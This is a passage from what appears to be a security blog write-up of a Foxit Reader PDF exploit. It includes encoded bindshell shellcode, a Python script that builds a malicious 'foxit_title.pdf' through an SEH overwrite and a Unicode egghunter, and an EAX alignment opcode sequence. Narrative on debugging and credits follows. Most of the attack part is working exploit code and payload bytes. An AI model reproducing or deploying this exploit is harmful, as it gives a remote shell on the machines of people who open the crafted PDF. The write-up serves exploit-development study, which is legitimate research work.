"\x4b\x46\x38\x47\x54\x45\x51\x48\x53\x45\x36\x4c\x4b\x44\x4c"
"\x50\x4b\x4c\x4b\x51\x48\x45\x4c\x43\x31\x49\x43\x4c\x4b\x43"
"\x34\x4c\x4b\x43\x31\x4e\x30\x4c\x49\x47\x34\x51\x34\x47\x54"
"\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x46\x31\x4b\x4f\x4b"
"\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x4a\x4b\x4d\x56"
"\x51\x4d\x43\x58\x47\x43\x47\x42\x43\x30\x43\x30\x42\x48\x44"
"\x37\x44\x33\x50\x32\x51\x4f\x51\x44\x45\x38\x50\x4c\x43\x47"
"\x47\x56\x44\x47\x4b\x4f\x48\x55\x48\x38\x4c\x50\x43\x31\x45"
"\x50\x43\x30\x51\x39\x48\x44\x50\x54\x50\x50\x42\x48\x46\x49"
"\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x46"
"\x30\x46\x30\x51\x50\x50\x50\x47\x30\x50\x50\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4c\x49\x49\x57\x46"
"\x51\x49\x4b\x46\x33\x43\x58\x45\x52\x43\x30\x44\x51\x51\x4c"
"\x4c\x49\x4a\x46\x42\x4a\x44\x50\x50\x56\x46\x37\x45\x38\x4f"
"\x32\x49\x4b\x47\x47\x45\x37\x4b\x4f\x4e\x35\x51\x43\x46\x37"
"\x45\x38\x4f\x47\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50"
"\x53\x51\x43\x51\x47\x45\x38\x44\x34\x4a\x4c\x47\x4b\x4b\x51"
"\x4b\x4f\x48\x55\x51\x47\x4b\x39\x48\x47\x42\x48\x43\x45\x42"
"\x4e\x50\x4d\x43\x51\x4b\x4f\x49\x45\x42\x48\x43\x53\x42\x4d"
"\x42\x44\x45\x50\x4c\x49\x4d\x33\x50\x57\x50\x57\x46\x37\x50"
"\x31\x4a\x56\x42\x4a\x42\x32\x51\x49\x46\x36\x4a\x42\x4b\x4d"
"\x42\x46\x49\x57\x47\x34\x51\x34\x47\x4c\x45\x51\x43\x31\x4c"
"\x4d\x50\x44\x51\x34\x42\x30\x4f\x36\x43\x30\x47\x34\x50\x54"
"\x46\x30\x46\x36\x51\x46\x51\x46\x50\x46\x46\x36\x50\x4e\x51"
"\x46\x50\x56\x50\x53\x50\x56\x43\x58\x44\x39\x48\x4c\x47\x4f"
"\x4d\x56\x4b\x4f\x4e\x35\x4b\x39\x4b\x50\x50\x4e\x50\x56\x51"
"\x56\x4b\x4f\x46\x50\x45\x38\x45\x58\x4c\x47\x45\x4d\x45\x30"
"\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x4e\x55\x4e\x42\x46\x36\x42"
"\x48\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c"
"\x43\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x43\x45\x43"
"\x35\x4f\x4b\x47\x37\x44\x53\x42\x52\x42\x4f\x42\x4a\x45\x50"
"\x51\x43\x4b\x4f\x4e\x35\x44\x4a\x41\x41")

lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
filler = "\x41" * 130
egg = "w00tw00t"
trailer = "\x44" * 8507
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Just to be sure I hadn’t broken anything beyond repair to this point, I loaded up the pdf in Foxit and checked the debugger to make sure the Unicode egghunter was in place along with the Alpha-encoded bindshell.

The final piece of this puzzle was to adjust the EAX register so it pointed to the beginning of the Unicode-encoded egghunter shellcode while being mindful of the fact that there are a great deal of bad characters to contend with. With my sloppy binary math, this would take many instructions but one of our Offsec alumni, devilboy, came up with this short little sequence in his Foxit exploit to point EAX closer to where I needed to be.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
58          # POP EAX
6D          # Align
35 00FF0020 # XOR EAX,2000FF00
6D          # Align
35 00F00020 # XOR EAX,2000F000
6D          # Align
50          # PUSH EAX
6D          # Align
C3          # RETN
6D          # Align

Using this alignment sequence, I needed to add 104 bytes of ‘filler’ between the alignment code and the egghunter so that EAX was pointing at the first instruction in order to start decoding it.

With everything aligned properly, the only remaining step was to make sure that the egghunter properly located my bindshell shellcode so I let the egghunter shellcode decode and placed a breakpoint just before jumping to the EDI register. I let the egghunter run and (hopefully) hit the breakpoint. Once the breakpoint was hit, EAX was pointing at the Alpha shellcode along with EDI so the egg was found successfully.

With everything seemingly working correctly, it was time to run the exploit without the debugger and reap my reward.

w00t!

The finalized exploit has the following structure:

preamble | lead | nseh | seh | aligneax | filler | egghunter | filler | egg | bindshell | trailer

My completed Foxit Reader Egghunter Exploit is just one of several methods to gain code execution with this vulnerability and it was very interesting to see what the Offsec alumni came up with in their solutions. Congrats to Sud0 for being the first contestant to deliver a weaponized Foxit exploit in less than 5 hours!

Much thanks to muts for insisting I keep plugging away at this and thanks to devilboy for letting me borrow his EAX alignment sequence.

-dookie

Questions? Comments? Discuss this post in our Forum


View the original article here

Read More